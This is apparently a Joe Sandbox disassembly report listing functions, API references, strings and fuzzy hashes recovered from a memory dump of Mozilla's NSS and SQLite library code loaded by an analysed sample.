Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 701cfdc2dffb8978a11164a1146446e9de68ac42f5238b7464bddb4bf1cd3503
Instruction ID: a74ffd2ed3120e0e8b6af002c0e91ee0b0d91106901cfa3f421a725b25c83acc
Opcode Fuzzy Hash: 701cfdc2dffb8978a11164a1146446e9de68ac42f5238b7464bddb4bf1cd3503
Instruction Fuzzy Hash: 91E1A27160A3009FD710CF28D880B5A77E5EF89308F14496DF99A9BB61E731EC45CB6A

Function 6C611C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C611C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C611C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C611CA1
GetLengthSid.ADVAPI32(?), ref: 6C611CA9
malloc.MOZGLUE(00000000), ref: 6C611CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C611CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C611CE4
GetLengthSid.ADVAPI32(?), ref: 6C611CEC
malloc.MOZGLUE(00000000), ref: 6C611CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C611D0F
CloseHandle.KERNEL32(?), ref: 6C611D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C611D4D
GetLastError.KERNEL32 ref: 6C611D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C611D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C611D7A

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 2d1d0a0616b2c8c66fdd6339ce5af9b2374390c69f9a7c4ceba8b7608c64e178
Instruction ID: c1cbfe8f6ad9678b0a6b652f199d52cf141d1220a21282ca8432bd16807d87c1
Opcode Fuzzy Hash: 2d1d0a0616b2c8c66fdd6339ce5af9b2374390c69f9a7c4ceba8b7608c64e178
Instruction Fuzzy Hash: C03185B1A012289FEF11AF64CC48BAA7BB8FF4E306F014575F60892210EB305994CF69

Function 6C613D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C613DFB
__allrem.LIBCMT ref: 6C613EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C613FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C614047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6140DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C61415F
__allrem.LIBCMT ref: 6C61416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C614288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6142AB
__allrem.LIBCMT ref: 6C6142B7

Strings

%04d, xrefs: 6C61407B
%lld, xrefs: 6C613FB2
%03d, xrefs: 6C6142E8
%02d, xrefs: 6C614086

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 612de93b59038e8544b2a3eb22c7a4b17ffdfc23a8427074c01a59e5681aad55
Instruction ID: 74620101e0000a4782e3671954039febdd2773273c21826faa94baee6a23103c
Opcode Fuzzy Hash: 612de93b59038e8544b2a3eb22c7a4b17ffdfc23a8427074c01a59e5681aad55
Instruction Fuzzy Hash: 1FF14371A0C7409FD715CF3CC881BABB7F6AF86309F148A2DE48597A51EB70D8458B4A

Function 6C61EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61EF63

Part of subcall function 6C6287D0: PORT_NewArena_Util.NSS3(00000800,6C61EF74,00000000), ref: 6C6287E8
Part of subcall function 6C6287D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C61EF74,00000000), ref: 6C6287FD
Part of subcall function 6C6287D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C62884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C61F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C61F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C61F374
PL_strcasecmp.NSS3(6C762FD4,?), ref: 6C61F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C61F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C61F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C61F67D
CERT_DestroyName.NSS3(?), ref: 6C61F68B

Part of subcall function 6C628320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C628338
Part of subcall function 6C628320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C628364
Part of subcall function 6C628320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C62838E
Part of subcall function 6C628320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6283A5
Part of subcall function 6C628320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6283E3

Part of subcall function 6C6284C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C6284D9
Part of subcall function 6C6284C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C628528

Part of subcall function 6C628900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C628955

Strings

", xrefs: 6C61F21B
*, xrefs: 6C61F3C6
oid., xrefs: 6C61F2CF

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 16118cfb07e0bf6ba39ab38be8d3be8aab66c00a7b5995a4ea5fe9d46d15ff06
Instruction ID: 5b143f4702e4132e672b65148ced1db6ee0c1f80ca9a823c1e7b26f7db0df737
Opcode Fuzzy Hash: 16118cfb07e0bf6ba39ab38be8d3be8aab66c00a7b5995a4ea5fe9d46d15ff06
Instruction Fuzzy Hash: 3D22287160C3508FD714CE6DC4907AAB7E6AB8532EF184A2EE49587F91E7319C05CB8B

Function 6C5C1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5C1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5C1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C5C1FB7

Strings

SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C5C1F83
unknown error, xrefs: 6C5C2291
another row available, xrefs: 6C5C2287
no more rows available, xrefs: 6C5C2264
sqlite_temp_master, xrefs: 6C5C1C5C
table, xrefs: 6C5C1C8B
sqlite_master, xrefs: 6C5C1C61
unsupported file format, xrefs: 6C5C2188
attached databases must use the same text encoding as main database, xrefs: 6C5C20CA
abort due to ROLLBACK, xrefs: 6C5C2223

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: f54a775dcb7ac051a23a5729c20060cc98d63657903e9b60911f22b5c2ec2d76
Instruction ID: 5f2b46216cffc8fa17590358f6bb2c625b4a081e929d5bfaf79ec4ac91c506fa
Opcode Fuzzy Hash: f54a775dcb7ac051a23a5729c20060cc98d63657903e9b60911f22b5c2ec2d76
Instruction Fuzzy Hash: 0912AD707083418FD705CF59C884A5ABBF2BF85318F18896EE8959BB52D731E846CB93

Function 6C5E5F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

NOCASE, xrefs: 6C5E8703
-, xrefs: 6C5E6228
BINARY, xrefs: 6C5E8708, 6C5E8737, 6C5E87B8
2, xrefs: 6C5E65B4
u, xrefs: 6C5E81DA
ON clause references tables to its right, xrefs: 6C5E6BEC
sub-select returns %d columns - expected %d, xrefs: 6C5E805F
-, xrefs: 6C5E62F9

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: cfe6becdfefba6170d6c563bf25f01b19bc9bab913e01d74b988e2a5de5addde
Instruction ID: fb46bbd622e3baa43f4e482c13ed1b5717c616f6b0e72a9df532463083f88b1d
Opcode Fuzzy Hash: cfe6becdfefba6170d6c563bf25f01b19bc9bab913e01d74b988e2a5de5addde
Instruction Fuzzy Hash: 334372746083418FD304CF19C890B5ABBE2BFCD358F148A6DE9998B756D731E846CB92

Function 6C68EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C68DAE2,?), ref: 6C68C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C68F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C68F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C68F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C68F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C75218C), ref: 6C68F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C68F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C68F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C68F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C68F210

Part of subcall function 6C6352D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C68F1E9,?,00000000,?,?), ref: 6C6352F5
Part of subcall function 6C6352D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C63530F
Part of subcall function 6C6352D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C635326
Part of subcall function 6C6352D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C68F1E9,?,00000000,?,?), ref: 6C635340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C68F227

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C68F23E

Part of subcall function 6C67BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C62E708,00000000,00000000,00000004,00000000), ref: 6C67BE6A
Part of subcall function 6C67BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6304DC,?), ref: 6C67BE7E
Part of subcall function 6C67BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C67BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C68F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C68F3A8

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C68F3B3

Part of subcall function 6C632D20: PK11_DestroyObject.NSS3(?,?), ref: 6C632D3C
Part of subcall function 6C632D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C632D5F

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: fe78907731584804e0d84e5bdea073adaacb6640acb83a58687d305559629fe5
Instruction ID: d6a0d23b75b5e6eec156c6ef02049875460fe91e788a2fbc083f28b3033790d4
Opcode Fuzzy Hash: fe78907731584804e0d84e5bdea073adaacb6640acb83a58687d305559629fe5
Instruction Fuzzy Hash: 19D1C4B5E026059FDB10CFA9D880A9EB7F5FF48308F148429DA15E7711EB31E805CBA9

Function 6C6BDE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C697FFA,00000000,?,6C6C23B9,00000002,00000000,?,6C697FFA,00000002), ref: 6C6BDE33

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

Part of subcall function 6C6BD000: PORT_ZAlloc_Util.NSS3(00000108,?,6C6BDE74,6C697FFA,00000002,?,?,?,?,?,00000000,6C697FFA,00000000,?,6C6C23B9,00000002), ref: 6C6BD008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C697FFA,00000000,?,6C6C23B9,00000002,00000000,?,6C697FFA,00000002), ref: 6C6BDE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C6BDEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6BE069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6BE121
PK11_FreeSymKey.NSS3(?), ref: 6C6BE14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C6BE195
PR_GetCurrentThread.NSS3 ref: 6C6BE1FC

Part of subcall function 6C6B2460: PR_SetError.NSS3(FFFFE005,00000000,6C757379,00000002,?), ref: 6C6B2493

Strings

key, xrefs: 6C6BE046
early application data, xrefs: 6C6BDFC9
handshake data, xrefs: 6C6BDFF7
application data, xrefs: 6C6BDFE0

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 7ec113cabf082f8b36c6894f581ebf89bb7e7b347e527a846bb4b95acca0756a
Instruction ID: 51276635d1ac94b034556b8ae2b0b60f621495a05efa3fd4901a0273b8c55746
Opcode Fuzzy Hash: 7ec113cabf082f8b36c6894f581ebf89bb7e7b347e527a846bb4b95acca0756a
Instruction Fuzzy Hash: 6DC11671B00205ABDB14CF65CC80BEAB7B4FF09318F144179E909ABB51E731E965CBA9

Function 6C663850 Relevance: 21.2, APIs: 14, Instructions: 233COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C66389F
EnterCriticalSection.KERNEL32(?), ref: 6C6638B3
PR_Unlock.NSS3(?), ref: 6C6638F1
TlsGetValue.KERNEL32 ref: 6C66390F
EnterCriticalSection.KERNEL32(?), ref: 6C663923
PR_Unlock.NSS3(?), ref: 6C663972
TlsGetValue.KERNEL32 ref: 6C663996
EnterCriticalSection.KERNEL32(0000001C), ref: 6C6639AE
PR_Unlock.NSS3(?), ref: 6C6639DB
PR_Unlock.NSS3(?), ref: 6C663A16

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

TlsGetValue.KERNEL32 ref: 6C663A36
EnterCriticalSection.KERNEL32(0000001C), ref: 6C663A4E
PR_Unlock.NSS3(?), ref: 6C663A77
PR_SetError.NSS3(00000000,00000000), ref: 6C663A8F

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$calloc$ErrorLeave
String ID:
API String ID: 1642523270-0
Opcode ID: ba238f8cf670719612a6ae2ee47b6b0147267956de977f01be200e879bc25ffe
Instruction ID: 10e1ed2d446be58ee7f8312b62d9de543d0fd3c842865cd26cd9f996a8b6a04b
Opcode Fuzzy Hash: ba238f8cf670719612a6ae2ee47b6b0147267956de977f01be200e879bc25ffe
Instruction Fuzzy Hash: 74918C75E002199FDF01DF69D884AAA7BB4FF0A318F1441B9EC15A7B11E730E984CB96

Function 6C5AECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5AED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5AEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5AEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C5AEF98

Strings

%s at line %d of [%.10s], xrefs: 6C5AF492
database corruption, xrefs: 6C5AF48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5AF483

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 2a39ed00606ba1329947402befe4f1555f74cf406a7c2d01ae61214a9195ff4a
Instruction ID: 92fd286ee18dbc46fa5b037abb0cf33759086f99e538a6746ac26acd6b81b741
Opcode Fuzzy Hash: 2a39ed00606ba1329947402befe4f1555f74cf406a7c2d01ae61214a9195ff4a
Instruction Fuzzy Hash: F262D170A042458FDB14CFA6CC8479EBBB1BF49318F18469DD8456BB92D771E887CBA0

Function 6C647D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C647DDC

Part of subcall function 6C6807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C628298,?,?,?,6C61FCE5,?), ref: 6C6807BF
Part of subcall function 6C6807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6807E6
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C68081B
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C680825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C647DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C647F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C647F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C647F98
PK11_FreeSymKey.NSS3(?), ref: 6C647FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C647FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C648000

Part of subcall function 6C669430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C647F0C,?,00000000,00000000,00000000,?), ref: 6C66943B
